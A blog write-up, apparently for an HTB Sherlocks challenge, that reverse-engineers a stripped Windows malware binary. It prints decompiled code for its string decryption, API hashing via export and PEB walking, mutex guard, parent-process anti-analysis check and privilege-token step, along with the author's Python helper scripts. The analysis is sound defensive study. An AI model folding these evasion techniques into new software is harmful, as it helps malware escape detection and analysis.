Lovely Malware - HTB Sherlocks

DigitalForensics MalwareAnalysis ReverseEngineering Ransomware

In this post I want to share how I solved my first Insane Sherlock challenge. Lately, I’ve been diving deeper into malware reversing, and especially during CTFs I usually rely on AI agents or MCP to speed things up. But this time, I decided to take a different approach: solving everything without those tools so I could truly understand each step of the process. It took me around two days to fully solve this challenge.
alt text

Initial Triage & Recon

So first, before diving into reversing the binary, we need to understand its basic properties. I started by using Detect It Easy (DIE) to gather initial information. alt text As shown, the binary is not packed and is written in C++. Next, I opened IDA and inspected the imports. alt text One interesting finding is the presence of IsDebuggerPresent, which suggests that the malware implements anti-debugging techniques. Additionally, the binary is stripped, meaning we don’t have symbol information so the analysis needs to be done purely through static reversing.

From the main function, we can see that the execution flow is relatively straightforward it sequentially calls several subroutines.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  if ( (unsigned __int8)sub_140002CD0(argc, argv, envp) == 1 )
    sub_140004550(0);
  sub_140008010();
  sub_140002FE0();
  sub_140003430();
  sub_140002D10();
  sub_140008D40();
  sub_140003310();
  return 0;
}

Since the binary is stripped, there are no helpful function names. My approach was to go through these subroutines one by one to identify the core behavior. Diving into the very first function, sub_140002CD0, it eventually led me to a highly interesting subroutine: sub_140003550.

__int64 __fastcall sub_140003550(__int64 a1, unsigned int a2)
{
  __int64 result; // rax
  unsigned int v3; // [rsp+0h] [rbp-18h]

  v3 = 0;
  result = (unsigned int)byte_14000F128[0];
  if ( byte_14000F128[0] )
  {
    while ( 1 )
    {
      result = a2;
      if ( v3 >= a2 )
        break;
      *(_BYTE *)(a1 + v3) -= v3;
      *(_BYTE *)(a1 + v3) ^= byte_14000F128[v3 % 8];
      ++v3;
    }
  }
  return result;
}

Looking at the pseudocode, the logic immediately stands out as a custom stream cipher decryption routine. It takes two parameters:

  1. a1: A pointer to the buffer (the ciphertext).
  2. a2: The length of the data to be decrypted. The algorithm itself is a simple but effective loop. For every byte in the buffer, it subtracts the current index (v3) from the byte’s value, and then performs an XOR operation against byte_14000F128, which acts as an 8-byte key.

This function is particularly important because it likely plays a role in decoding hidden strings or configuration data at runtime making it a key component for further analysis. To make it easier to reverse I rename it to DecryptString.

Next, we need to identify the buffer being passed into DecryptString. Tracing back to sub_140002CD0, we see the following:

Function Breakdown: sub_140002CD0 (Mutex Guard)

bool sub_140002CD0()
{
  __int64 v0; // rdx

  sub_140003550(&unk_14000EEF8, 22);
  LOBYTE(v0) = 1;
  sub_140004840(0, v0, &unk_14000EEF8);
  return (unsigned int)sub_1400048E0() == 183;
}

Here, the first argument passed into DecryptString is &unk_14000EEF8, which strongly suggests that this memory region contains the encrypted data.

However, when inspecting this address in the .data section, we notice something interesting: alt text The buffer appears to be uninitialized, meaning its actual contents are not present statically in the binary. This indicates that the data is likely filled at runtime.

More importantly, the cross-reference shows that this memory region is written to by TlsCallback_0. This is a crucial finding. TLS (Thread Local Storage) callbacks are special routines that are executed by the Windows loader before the program reaches its main entry point. In other words, code placed inside a TLS callback runs earlier than the usual execution flow that analysts often follow.

From a reversing perspective, this is important because it shifts where we should start looking. If we only begin analysis from main, we risk missing logic that has already been executed beforehand.

TLS callbacks are also commonly encountered in malware analysis because they allow critical logic to run very early in the execution flow. This makes them a valuable place to inspect when trying to understand how a binary initializes its state or prepares internal data.

The Hidden TLS Callback

With that in mind, the next step is to take a closer look at the TLS callback implementation used in this binary.

Function Breakdown: TlsCallback_0

__int64 __fastcall TlsCallback_0(__int64 a1, int a2)
{
  __int64 result; // rax
  unsigned __int8 jj; // [rsp+20h] [rbp-18h]
  unsigned __int8 i; // [rsp+20h] [rbp-18h]
  unsigned __int8 j; // [rsp+20h] [rbp-18h]
  unsigned __int8 k; // [rsp+20h] [rbp-18h]
  unsigned __int8 m; // [rsp+20h] [rbp-18h]
  unsigned __int8 n; // [rsp+20h] [rbp-18h]
  unsigned __int8 ii; // [rsp+20h] [rbp-18h]
  int v10; // [rsp+24h] [rbp-14h]

  if ( a2 == 1 )
  {
    jj = 0;
    v10 = 0;
    while ( jj < 0x4Cu )
      ++jj;
    if ( jj == 76 )
      goto LABEL_40;
    while ( 1 )
    {
      for ( i = 0; i < 0x6Fu; ++i )
        ;
      if ( i == 111 )
        byte_14000F128[v10++] = i;
      for ( j = 0; j < 0x76u; ++j )
        ;
      if ( j == 118 )
        byte_14000F128[v10++] = j;
      for ( k = 0; k < 0x65u; ++k )
        ;
      if ( k == 101 )
        byte_14000F128[v10++] = k;
      for ( m = 0; m < 0x5Fu; ++m )
        ;
      if ( m == 95 )
        byte_14000F128[v10++] = m;
      for ( n = 0; n < 0x48u; ++n )
        ;
      if ( n == 72 )
        byte_14000F128[v10++] = n;
      for ( ii = 0; ii < 0x65u; ++ii )
        ;
      if ( ii == 101 )
        byte_14000F128[v10++] = ii;
      for ( jj = 0; jj < 0x72u; ++jj )
        ;
      if ( jj == 114 )
        break;
LABEL_40:
      byte_14000F128[v10++] = jj;
    }
    byte_14000F128[v10] = jj;
    sub_140003840(&unk_14000EE38, &unk_14000B438);
    sub_140003840(&unk_14000EEF0, &unk_14000B448);
    sub_140003840(&unk_14000EEF8, &unk_14000B458);
    sub_140003900(&unk_14000EF20, &unk_14000B470, 12);
    sub_140003840(&unk_14000EF30, &unk_14000B480);
    sub_140003900(&unk_14000EAF0, &unk_14000B490, 795);
    sub_140003900(&unk_14000F118, &unk_14000B7B0, 10);
    sub_140003840(&unk_14000EF48, &unk_14000B7C0);
    sub_140003840(&unk_14000EE0C, &unk_14000B7D0);
    sub_140003900(&unk_14000EF10, &unk_14000B7D8, 11);
    sub_140003900(&unk_14000EEE4, &unk_14000B7E4, 5);
    sub_140003900(&unk_14000EF60, &unk_14000B7F0, 73);
    sub_140003900(&unk_14000F0B8, &unk_14000B840, 28);
    sub_140003900(&unk_14000EF3C, &unk_14000B860, 5);
    sub_140003900(&unk_14000EFC0, &unk_14000B870, 230);
    sub_140003900(&pszAddrString, &unk_14000B958, 28);
    sub_140003900(&unk_14000EAE4, &unk_14000B978, 6);
    sub_140003900(&unk_14000F108, &unk_14000B980, 8);
    sub_140003900(&unk_14000EE50, &unk_14000B990, 146);
    sub_140003900(&unk_14000F0B0, &unk_14000BA28, 8);
    sub_140003900(&unk_14000F0A8, &unk_14000BA34, 5);
    sub_140003900(&unk_14000EAD8, &unk_14000BA40, 12);
    sub_140003840(&unk_14000F0E0, &unk_14000BA50);
    sub_140003900(&unk_14000EAEA, &unk_14000BA68, 1);
    sub_140003840(&unk_14000EF1C, &unk_14000BA6C);
    return sub_140003840(&unk_14000F0F8, &unk_14000BA70);
  }
  return result;
}

The key part of this function is how it fills byte_14000F128. Despite the excessive loops and conditions, the logic is straightforward: it incrementally writes values into the array, one index at a time.

However, an important detail is the control flow: the initial check forces jj to become 76 and immediately jumps (goto) into the middle of the loop (LABEL_40). This means the loop is not entered from the top on the first iteration, but from an internal label. After reaching the end of the loop body, execution naturally cycles back to the beginning of the while (1) loop, allowing the full sequence of assignments to execute.

Each block effectively assigns a constant value (hidden behind empty loops), and v10 is incremented after every write, building the array sequentially. The loop continues until the final condition is met when jj reaches 114 (ASCII ‘r’), at which point the break statement is triggered and the loop stops.

If we convert those constant values from ASCII numbers into characters, we get: | Value | Char | | —– | —- | | 74 | L | | 111 | o | | 118 | v | | 101 | e | | 95 | _ | | 72 | H | | 101 | e | | 114 | r | So the constructed string is Love_Her

The next part we look at is the following function calls: alt text It simply calls two helper functions: sub_140003840 and sub_140003900.

__int64 __fastcall sub_140003840(_BYTE *a1, _BYTE *a2)
{
  __int64 result; // rax
  _BYTE *v3; // [rsp+8h] [rbp+8h]
  _BYTE *v4; // [rsp+10h] [rbp+10h]

  v4 = a2;
  v3 = a1;
  if ( a1 && a2 )
  {
    while ( 1 )
    {
      result = (unsigned int)(char)*v4;
      if ( !*v4 )
        break;
      *v3++ = *v4++;
    }
  }
  return result;
}
unsigned __int64 __fastcall sub_140003900(_BYTE *a1, _BYTE *a2, int a3)
{
  unsigned __int64 result; // rax
  _BYTE *v4; // [rsp+0h] [rbp-18h]
  _BYTE *v5; // [rsp+8h] [rbp-10h]

  if ( a1 && a2 )
  {
    v5 = a1;
    result = (unsigned __int64)a2;
    v4 = a2;
    while ( a3 )
    {
      *v5++ = *v4++;
      result = (unsigned int)--a3;
    }
  }
  return result;
}

If we look closely at the decompiled pseudocode, these two helper functions are actually strcpy (sub_140003840) and memcpy (sub_140003900) function. I’ll rename each of them :

  • sub_140003840 -> Strcpy
  • sub_140003900 -> Memcpy

Now we going back to &unk_14000EEF8, we could see this following line:

Strcpy(byte_14000EEF8, byte_14000B458);

This simply copies the content of byte_14000B458 into byte_14000EEF8. By following the xref of byte_14000B458, we find: alt text

unsigned char ida_chars[] =
{
  0x0B, 0x04, 0x1B, 0x0A, 0x42, 0x29, 0x3F, 0x44, 0x2A, 0x65, 
  0x33, 0x41, 0x7A, 0x39, 0x64, 0x25, 0x23, 0x18, 0x29, 0x2A, 
  0x4F, 0x5D, 0x00, 0x00
};

Next, this buffer is passed into a decryption routine:

DecryptString((__int64)&unk_14000EEF8, 0x16u);

To replicate this, we use the following Python implementation of the decryption logic:

def decrypt(data, key):
    result = []
    for i in range(len(data)):
        val = (data[i] - i) & 0xFF
        val ^= key[i % len(key)]
        result.append(val)
    return bytes(result)

This function mirrors the behavior of DecryptString (sub_140003550) and will be used to recover all encrypted strings in this analysis.

After applying the decryption, we obtain: Global\On3_S1d3d_hard alt text.

API Hashing & Single-Instance Guard

With the decrypted string revealing Global\On3_S1d3d_hard, its purpose becomes immediately clear if we look back at the function where it is used: sub_140002CD0.

We know &byte_14000EEF8 now holds our Mutex string. But instead of seeing a standard Windows API call like CreateMutexA, the malware passes our string into a mysterious wrapper function: sub_140004840.

Let’s dive into this API-call wrapper:

__int64 __fastcall sub_140004840(__int64 a1, unsigned __int8 a2, __int64 a3)
{
  if ( !qword_14000F2C8 )
    qword_14000F2C8 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD))sub_140003EC0(qword_14000F3B0, 2540976541LL);
  return qword_14000F2C8(a1, a2, a3);
}

This is a lazy resolver. On first call, it resolves one API address from a module base (qword_14000F3B0) using a hash (2540976541, or 0x9774399D), stores it in qword_14000F2C8, and then calls it.

So the malware does not import this API directly by name. Instead, it resolves it dynamically from the export table.

Here is the resolver routine:

Function Breakdown: GetProcAddressByHash

__int64 __fastcall sub_140003EC0(__int64 a1, int a2)
{
  unsigned int i; // [rsp+20h] [rbp-48h]
  _DWORD *v4; // [rsp+28h] [rbp-40h]
  unsigned int v5; // [rsp+34h] [rbp-34h]
  __int64 v6; // [rsp+48h] [rbp-20h]
  __int64 v7; // [rsp+50h] [rbp-18h]
  __int64 v8; // [rsp+58h] [rbp-10h]

  v4 = (_DWORD *)(*(unsigned int *)(a1 + *(int *)(a1 + 60) + 136) + a1);
  v5 = v4[6];
  v6 = a1 + (unsigned int)v4[8];
  v7 = a1 + (unsigned int)v4[9];
  v8 = a1 + (unsigned int)v4[7];
  for ( i = 0; i < v5; ++i )
  {
    if ( (unsigned int)sub_140003CE0(*(unsigned int *)(v6 + 4LL * i) + a1) == a2 )
      return a1 + *(unsigned int *)(v8 + 4LL * *(unsigned __int16 *)(v7 + 2LL * i));
  }
  return 0;
}

This function manually walks the PE export directory:

  1. Load AddressOfNames, AddressOfNameOrdinals, and AddressOfFunctions.
  2. Hash each exported function name with sub_140003CE0.
  3. Compare with target hash (a2).
  4. If matched, resolve and return the real function pointer.

The hashing algorithm itself is quite simple:

__int64 __fastcall sub_140003CE0(_BYTE *a1)
{
  unsigned int v2; // [rsp+0h] [rbp-18h]

  v2 = 0;
  while ( *a1 )
    v2 += ((v2 << 19) | ((unsigned __int64)v2 >> 13)) + (char)*a1++;
  return v2;
}

In other words, it is a custom rolling hash: v = v + rol(v, 19) + ord(char) for each character.

At this stage, I renamed:

  • sub_140003CE0 -> CalculateMalwareHash
  • sub_140003EC0 -> GetProcAddressByHash

However, before the malware can resolve API hashes, it must first initialize a module base. Tracing the cross-references for qword_14000F3B0 reveals this initialization function:

__int64 sub_140001020()
{
  __int64 result; // rax

  result = sub_140003D50(0x2200CF35);
  qword_14000F3B0 = result;
  return result;
}

So qword_14000F3B0 is the cached module base used by later hashed API lookups.

At this point, the mutex logic becomes clearer:

  • Decrypt mutex name: Global\On3_S1d3d_hard
  • Resolve API by hash and call it with (0, 1, mutex_name)
  • Check GetLastError() == 183 (ERROR_ALREADY_EXISTS)

This is a standard single-instance guard: if the mutex already exists, another instance is already running.

To speed up reversing, I used two helper scripts:

  1. module.py to identify which DLL matches a DLL hash.
  2. api.py to identify which export matches an API hash.

module.py :

import os
import sys
from pathlib import Path

def calculate_malware_hash(name: str) -> int:
    value = 0
    for ch in name:
        rotated = ((value << 19) & 0xFFFFFFFF) | (value >> 13)
        value = (value + rotated + ord(ch)) & 0xFFFFFFFF
    return value

SEARCH_DIR = Path(r"/mnt/c/Windows/System32")

def candidate_names(filename: str) -> set[str]:
    stem = filename.rsplit(".", 1)[0]
    return {
        filename,
        filename.lower(),
        filename.upper(),
        stem,
        stem.lower(),
        stem.upper(),
    }

def main() -> None:
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <dll_hash_hex>")
        print(f"Example: {sys.argv[0]} 0xF60A2BB0")
        sys.exit(1)

    target_dll_hash = int(sys.argv[1], 16) & 0xFFFFFFFF

    print(f"[*] Target DLL hash: 0x{target_dll_hash:08X}")
    print(f"[*] Searching in: {SEARCH_DIR}")
    print("-" * 60)

    for root, _, files in os.walk(SEARCH_DIR):
        for file in files:
            if not file.lower().endswith(".dll"):
                continue

            for name in candidate_names(file):
                if calculate_malware_hash(name) == target_dll_hash:
                    full_path = Path(root) / file
                    print(f"[+] Match found: {file}")
                    print(f"[+] Matched variant: {name}")
                    print(f"[+] Full path: {full_path}")
                    return

    print("[-] No matching DLL found in System32.")

if __name__ == "__main__":
    main()

api.py:

import sys
from pathlib import Path
import pefile

def calculate_malware_hash(name: str) -> int:
    value = 0
    for ch in name:
        rotated = ((value << 19) & 0xFFFFFFFF) | (value >> 13)
        value = (value + rotated + ord(ch)) & 0xFFFFFFFF
    return value

SEARCH_DIR = Path(r"/mnt/c/Windows/System32")

def resolve_module_path(module_name: str) -> str | None:
    # Enforce exact module name match (case-sensitive).
    for dll_path in SEARCH_DIR.glob("*.dll"):
        if dll_path.name == module_name:
            return str(dll_path)
    return None

def main() -> None:
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <module_name> <api_hash_hex>")
        print(f"Example: {sys.argv[0]} kernel32.dll 0x9774399D")
        sys.exit(1)

    module_name = sys.argv[1]
    target_api_hash = int(sys.argv[2], 16) & 0xFFFFFFFF

    dll_path = resolve_module_path(module_name)
    if not dll_path:
        print(f"[-] Module '{module_name}' not found with exact case in {SEARCH_DIR}.")
        sys.exit(1)

    pe = pefile.PE(dll_path)
    print(f"[*] Module: {module_name}")
    print(f"[*] Target API hash: 0x{target_api_hash:08X}")
    print(f"[*] Searching exports in: {dll_path}")
    print("-" * 60)

    for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
        if not exp.name:
            continue
        name = exp.name.decode(errors="ignore")
        if calculate_malware_hash(name) == target_api_hash:
            print(f"[+] Match found: {name}")
            return

    print("[-] No matching API export found.")

if __name__ == "__main__":
    main()

For the rest of this analysis, every resolved module and API will be renamed using a consistent convention:

  • Module resolver: Init_<module>_Base
  • Cached module base variable: qw_
  • API wrapper/call site: Call_<api>
  • Cached API pointer variable: qw_

Running these scripts against our discovered hashes yields the final piece of the puzzle:

  • 0x2200CF35 resolves to kernel32.dll, thus:
    • sub_140001020 is renamed to Init_kernel32_Base.
    • qword_14000F3B0 is renamed to qw_kernel32.
  • 0x9774399D resolves to CreateMutexA, thus:
    • sub_140004840 is renamed to Call_CreateMutexA.
    • qword_14000F2C8 is renamed to qw_CreateMutexA. alt text

Now we can return to the final check in our initial function:

return (unsigned int)sub_1400048E0() == 183;

sub_1400048E0 follows the exact same resolution pattern (using the same module context and a hashed API lookup). Running our script against its target hash reveals that it points to GetLastError alt text

  • qword_14000F170 -> qw_GetLastError
  • sub_1400048E0 -> Call_GetLastError

With all the hashes resolved, the variables renamed, and the strings decrypted, let’s take a look at our initial function again. What started as an obfuscated mess now looks like perfectly readable C code:

bool sub_140002CD0()
{
  __int64 v0; // rdx

  DecryptString((__int64)&byte_14000EEF8, 0x16u);
  LOBYTE(v0) = 1;
  Call_CreateMutexA(0, v0, &byte_14000EEF8);
  return (unsigned int)Call_GetLastError() == 183;
}

The entire block of logic is now perfectly clear: it decrypts the mutex name, calls CreateMutexA, and checks if the error code equals ERROR_ALREADY_EXISTS. Because its sole purpose is to check if another instance of the malware is currently running, I renamed this function to IsAlreadyRunning.

Now that we know what this check does, we need to see how the malware handles the result. Let’s go all the way back to the main entry point where this function was initially called: If another instance is detected, the malware immediately calls sub_140004550, passing 0 as the argument.

Applying our exact same methodology using our api.py script, we find that the target hash 0xCC6231 within kernel32.dll easily resolves to ExitProcess. We can now rename sub_140004550 to Call_ExitProcess. The decompiled main function starts making perfect sense: The malware establishes a single-instance guard. If it detects that another instance is already active via the Mutex, it gracefully terminates itself using ExitProcess(0).

Anti-Analysis & Evasion

Returning to our main function, the next subroutine called after the single-instance check is sub_140008010. Let’s look at its decompiled code: This function appears quite simple. It acts as a wrapper that sets up a small local array (v2), calls sub_140007EA0, and then passes these variables into subsequent subroutines. To understand what this block is trying to achieve, we need to dive directly into its primary engine: sub_140007EA0.

Function Breakdown: Parent Process Validation

Opening sub_140007EA0, we are greeted with a rather dense function containing multiple nested API calls and a while loop:

char sub_140007EA0()
{
  int v1; // [rsp+20h] [rbp-398h]
  __int64 v2; // [rsp+28h] [rbp-390h]
  __int64 v3; // [rsp+30h] [rbp-388h]
  __int64 v4; // [rsp+38h] [rbp-380h]
  __int64 v5; // [rsp+40h] [rbp-378h]
  __int64 v6; // [rsp+48h] [rbp-370h]
  _DWORD v7[144]; // [rsp+50h] [rbp-368h] BYREF
  _BYTE v8[272]; // [rsp+290h] [rbp-128h] BYREF

  sub_140008050(21562, 1);
  sub_140008110(57767, 3);
  v5 = sub_140005900();
  v1 = sub_1400062D0(v5);
  v3 = sub_140006130(2, 0);
  v7[0] = 568;
  if ( !(unsigned int)sub_1400061B0(v3, v7) )
    return 0;
  while ( v7[2] != v1 && (unsigned int)sub_140006240(v3, v7) )
    ;
  v6 = sub_140006400(4096, 0, v7[8]);
  sub_140006350(v6, 0, v8, 260);
  DecryptString((__int64)byte_14000F0F8, 0xDu);
  v4 = sub_140007B00();
  v2 = sub_140003B90(v4, byte_14000F0F8);
  sub_140003760(v4);
  if ( (unsigned __int8)sub_140003C60(v8, v2, 24) )
  {
    sub_140003760(v2);
    return 1;
  }
  else
  {
    sub_140003760(v2);
    return 0;
  }
}

Right off the bat, the first two function calls (sub_140008050 and sub_140008110) look suspicious. Diving into them, they contain pointless loops and modulo operations returning values that are never actually used or stored. This is classic junk code designed to waste a reverse engineer’s time or break simple heuristic signatures. I quickly renamed them to JunkFunc1 and JunkFunc2 to declutter the workspace.

Next, we get to the actual logic. By applying our previously built API hashing script, we can quickly strip away the obfuscation layer by layer on the assigned variables:

  1. v5 = sub_140005900(): Resolves to kernel32.dll!GetCurrentProcess. The malware gets a pseudo-handle to its own process. We rename this to Call_GetCurrentProcess.
  2. v1 = sub_1400062D0(v5): Resolves to kernel32.dll!GetProcessId. The malware retrieves its own PID. We rename this to Call_GetProcessId.
  3. v3 = sub_140006130(2, 0): Resolves to kernel32.dll!CreateToolhelp32Snapshot. It takes a snapshot of all currently running processes on the system. We rename this to Call_CreateToolhelp32Snapshot.
  4. sub_1400061B0(v3, v7): Resolves to kernel32.dll!Process32FirstW. Initializes the snapshot enumeration. We rename this to Call_Process32FirstW.
  5. sub_140006240(v3, v7): Resolves to kernel32.dll!Process32NextW. The malware loops through the snapshot until it matches its own PID, allowing it to locate its Parent Process ID (PPID). We rename this to Call_Process32NextW.
  6. sub_140006400(4096, 0, v7[8]): Resolves to kernel32.dll!OpenProcess. It uses the PPID found in the previous step to open a handle to its parent process. We rename this to Call_OpenProcess.
  7. sub_140006350(v6, 0, v8, 260): Resolves to kernel32.dll!K32GetModuleFileNameExA. It retrieves the full executable path of that parent process. We rename this to Call_K32GetModuleFileNameExA.
  8. The String Comparison (sub_140003C60): The malware decrypts a 13-byte string at byte_14000F0F8 using our familiar DecryptString routine. The decrypted string is explorer.exe. (Note: If we recall our previous analysis, the data in this buffer was actually copied from byte_14000BA70 during the TLS Callback phase). The malware then compares the parent process path to see if it contains explorer.exe.
  9. Back in our main enumeration block (sub_140007EA0), immediately after the decryption of explorer.exe, we see a call to v4 = sub_140007B00();. Let’s take a quick look at this subroutine:
__int64 sub_140007B00()
{
  unsigned int v1; // [rsp+20h] [rbp-18h]
  __int64 v2; // [rsp+28h] [rbp-10h]

  v1 = sub_140004220(0, 0);
  if ( !v1 )
    return 0;
  v2 = sub_1400036F0(v1 + 1);
  if ( !(unsigned int)sub_140004220(v2, v1) )
    return 0;
  *(_BYTE *)(v2 + v1 - 1) = 92;
  return v2;
}

By resolving the hashes inside this function, we quickly identify that sub_140004220 is kernel32.dll!GetWindowsDirectoryA.

The function sub_1400036F0 is simply a custom wrapper for memory allocation (using APIs like HeapCreate and HeapAlloc). I renamed this to Heap_Alloc_Private for clarity.

With the functions properly renamed, the underlying logic is incredibly straightforward. It gets the length of the Windows directory, allocates the necessary memory, retrieves the actual path (e.g., C:\Windows), and finally appends the ASCII character 92 (which is the backslash ) to the end of the string.

Here is the fully cleaned-up and renamed version of the function, which I called GetWinDir:

__int64 GetWinDir()
{
  unsigned int v1; // [rsp+20h] [rbp-18h]
  __int64 v2; // [rsp+28h] [rbp-10h]

  v1 = Call_GetWindowsDirectoryA(0, 0);
  if ( !v1 )
    return 0;
  v2 = Heap_Alloc_Private(v1 + 1);
  if ( !(unsigned int)Call_GetWindowsDirectoryA(v2, v1) )
    return 0;
  *(_BYTE *)(v2 + v1 - 1) = 92;
  return v2;
}

Now that we have the Windows directory path (v4) and our decrypted “explorer.exe” string (byte_14000F0F8), the malware simply concat them together.

The function sub_140003B90 acts as ConcatString, merging them into the absolute path: C:\Windows\explorer.exe``. Afterward, it properly manages memory by calling sub_140003760 to free the unused buffers, so we can confidently rename it to Free.

Finally, the malware compares the actual parent process path we retrieved earlier (v8) with this newly constructed string (v2). It uses sub_140003C60 to compare the first 24 bytes, which is a custom implementation of Strncmp.

Let’s put all the pieces together. What started as an intimidating, obfuscated mess now looks like a understandable C function. I renamed the main subroutine to Check_Parent_Is_Explorer:

char Check_Parent_Is_Explorer()
{
  int v1; // [rsp+20h] [rbp-398h]
  __int64 v2; // [rsp+28h] [rbp-390h]
  __int64 v3; // [rsp+30h] [rbp-388h]
  __int64 v4; // [rsp+38h] [rbp-380h]
  __int64 v5; // [rsp+40h] [rbp-378h]
  __int64 v6; // [rsp+48h] [rbp-370h]
  _DWORD v7[144]; // [rsp+50h] [rbp-368h] BYREF
  _BYTE v8[272]; // [rsp+290h] [rbp-128h] BYREF

  JunkFunc1(21562, 1);
  JunkFunc2(57767, 3);
  v5 = Call_GetCurrentProcess();
  v1 = Call_GetProcessId(v5);
  v3 = Call_CreateToolhelp32Snapshot(2, 0);
  v7[0] = 568;
  if ( !(unsigned int)Call_Process32FirstW(v3, v7) )
    return 0;
  while ( v7[2] != v1 && (unsigned int)Call_Process32NextW(v3, v7) )
    ;
  v6 = Call_OpenProcess(4096, 0, v7[8]);
  Call_K32GetModuleFileNameExA(v6, 0, v8, 260);
  DecryptString((__int64)&byte_14000F0F8, 0xDu);
  v4 = GetWinDir();
  v2 = ConcatString(v4, &byte_14000F0F8);
  Free(v4);
  if ( (unsigned __int8)Strncmp(v8, v2, 24) )
  {
    Free(v2);
    return 1;
  }
  else
  {
    Free(v2);
    return 0;
  }
}

This is a Anti-Analysis/Anti-Debugging evasion technique. If a normal victim double-clicks the malware payload, its parent process will naturally be explorer.exe (returning 1). However, if an analyst runs it through a debugger (like x64dbg), via the Command Prompt, or inside a sandboxed environment, the parent process will not match, and the function will return 0.

Let’s peek inside the next function called in the wrapper, sub_140007B60 :

__int64 sub_140007B60()
{
  __int64 result; // rax
  int j; // [rsp+0h] [rbp-48h]
  int i; // [rsp+4h] [rbp-44h]
  int v3; // [rsp+8h] [rbp-40h]
  _DWORD v4[10]; // [rsp+10h] [rbp-38h]

  for ( i = 0; i < 10; ++i )
  {
    v4[i] = i * i + 5;
    result = (unsigned int)(i + 1);
  }
  for ( j = 0; j < 10; ++j )
  {
    v3 = v4[j];
    v4[j] = v4[(j + 3) % 10];
    v4[(j + 3) % 10] = v3;
    result = (unsigned int)(j + 1);
  }
  return result;
}

This is another classic example of obfuscation. The function executes a series of mathematical operations and array swaps, but the calculated values are never utilized outside of this scope, and its return value is ignored by the caller. I immediately renamed this to JunkFunc3 and moved on.

The real action happens inside the next function, sub_140007E20. Let’s examine it: This confirms our earlier theory: the malware only executes its evasive actions if the parent process is not explorer.exe. If it detects it’s being analyzed, it grabs its own process handle (v4) and passes it into sub_140007DA0.

_BOOL8 __fastcall sub_140007DA0(__int64 a1)
{
  _QWORD v2[3]; // [rsp+20h] [rbp-18h] BYREF

  if ( !qword_14000F398 )
    sub_140002A10();
  if ( !(unsigned __int8)sub_1400057A0(a1, 40, v2) )
    return 0;
  DecryptString((__int64)byte_14000F0E0, 0x14u);
  return (unsigned int)sub_140007CD0(v2[0], byte_14000F0E0, 1) != 0;
}

Inside sub_140007DA0, the very first thing it does is check if qword_14000F398 is initialized. If not, it calls sub_140002A10. This pattern strongly suggests another module initialization routine. Let’s dig into sub_140002A10:

__int64 sub_140002A10()
{
  __int64 result; // rax

  DecryptString((__int64)Destination, 9u);
  qword_14000EAC8 = sub_1400045D0(Destination);
  result = sub_140003D50(-1288590482);
  qword_14000F398 = result;
  if ( !result )
  {
    result = sub_140003D50(-169485708);
    qword_14000F398 = result;
  }
  if ( !qword_14000F398 )
  {
    result = sub_140003D50(-1338924274);
    qword_14000F398 = result;
  }
  if ( !qword_14000F398 )
  {
    result = sub_140003D50(-119151916);
    qword_14000F398 = result;
  }
  return result;
}

First, it decrypts a 9-byte string at Destination. By mimicking the decryption algorithm from earlier, we know this decrypts to “advapi32”. It passes this string into sub_1400045D0, which handles standard API resolution. Given the context of loading a module name, this is easily identified as kernel32.dll!LoadLibraryA. So, the malware dynamically loads advapi32.dll and I renamed the function to Call_LoadLibraryA.

Next, it attempts to resolve the base address of this newly loaded module using a custom function, sub_140003D50:

__int64 __fastcall sub_140003D50(int a1)
{
  int i; // [rsp+20h] [rbp-88h]
  _BYTE *v3; // [rsp+28h] [rbp-80h]
  _QWORD *v4; // [rsp+30h] [rbp-78h]
  __int64 v5; // [rsp+40h] [rbp-68h]
  _QWORD v6[2]; // [rsp+48h] [rbp-60h] BYREF
  __int64 v7; // [rsp+58h] [rbp-50h]
  __int64 v8; // [rsp+60h] [rbp-48h]
  _BYTE *v9; // [rsp+68h] [rbp-40h]
  void *Block; // [rsp+70h] [rbp-38h]
  void *v11; // [rsp+78h] [rbp-30h]
  _QWORD v12[5]; // [rsp+80h] [rbp-28h] BYREF

  v7 = sub_140003D40();
  v8 = *(_QWORD *)(v7 + 24);
  qmemcpy(v12, (const void *)(v8 + 32), 0x10u);
  v4 = v12;
  do
  {
    v5 = *v4;
    qmemcpy(v6, (const void *)(*v4 + 72LL), sizeof(v6));
    v9 = operator new(((int)LOWORD(v6[0]) >> 1) + 1);
    v3 = v9;
    for ( i = 0; i < (int)LOWORD(v6[0]) >> 1; ++i )
      v3[i] = *(_BYTE *)(v6[1] + 2 * i);
    v3[(int)LOWORD(v6[0]) >> 1] = 0;
    if ( (unsigned int)CalculateMalwareHash(v3) == a1 )
    {
      Block = v3;
      j_j_free(v3);
      return *(_QWORD *)(v5 + 32);
    }
    v4 = (_QWORD *)*v4;
    v11 = v3;
    j_j_free(v3);
  }
  while ( *v4 != v12[0] );
  return 0;
}

This function traverses the PEB (Process Environment Block) to list all loaded modules, extracts their names, hashes them using our CalculateMalwareHash algorithm, and compares them against the target hash (a1). If it finds a match, it returns the module’s base address. I renamed this extremely useful function to GetModuleHandleByHash.

To confirm exactly which module it is looking for, I took the first hash passed into this function and ran it through our module.py script. As expected, it perfectly matched advapi32.dll.

With all this information, we can clean up the naming convention for this block:

  • sub_140002A10 -> Init_advapi32_Base
  • qword_14000F398 -> qw_advapi32

Now that advapi32.dll is loaded into memory, let’s see what the malware actually does with it inside sub_140007DA0:

_BOOL8 __fastcall sub_140007DA0(__int64 a1)
{
  _QWORD v2[3]; // [rsp+20h] [rbp-18h] BYREF

  if ( !qw_advapi32 )
    Init_advapi32_Base();
  if ( !(unsigned __int8)sub_1400057A0(a1, 40, v2) )
    return 0;
  DecryptString((__int64)byte_14000F0E0, 0x14u);
  return (unsigned int)sub_140007CD0(v2[0], byte_14000F0E0, 1) != 0;
}

Using our api.py script against the advapi32.dll module, we can quickly resolve the next set of hashed API calls:

  1. sub_1400057A0 (Hash: 0xF668CB82): This resolves to OpenProcessToken. It takes the process handle (a1), requests access rights of 40, and stores the token handle in v2. We rename this to Call_OpenProcessToken.
  2. DecryptString: It decrypts a 20-byte string at byte_14000F0E0. Running this through our Python decryption script reveals the string: SeShutdownPrivilege. We rename it to qw_SeShutdownPrivilege
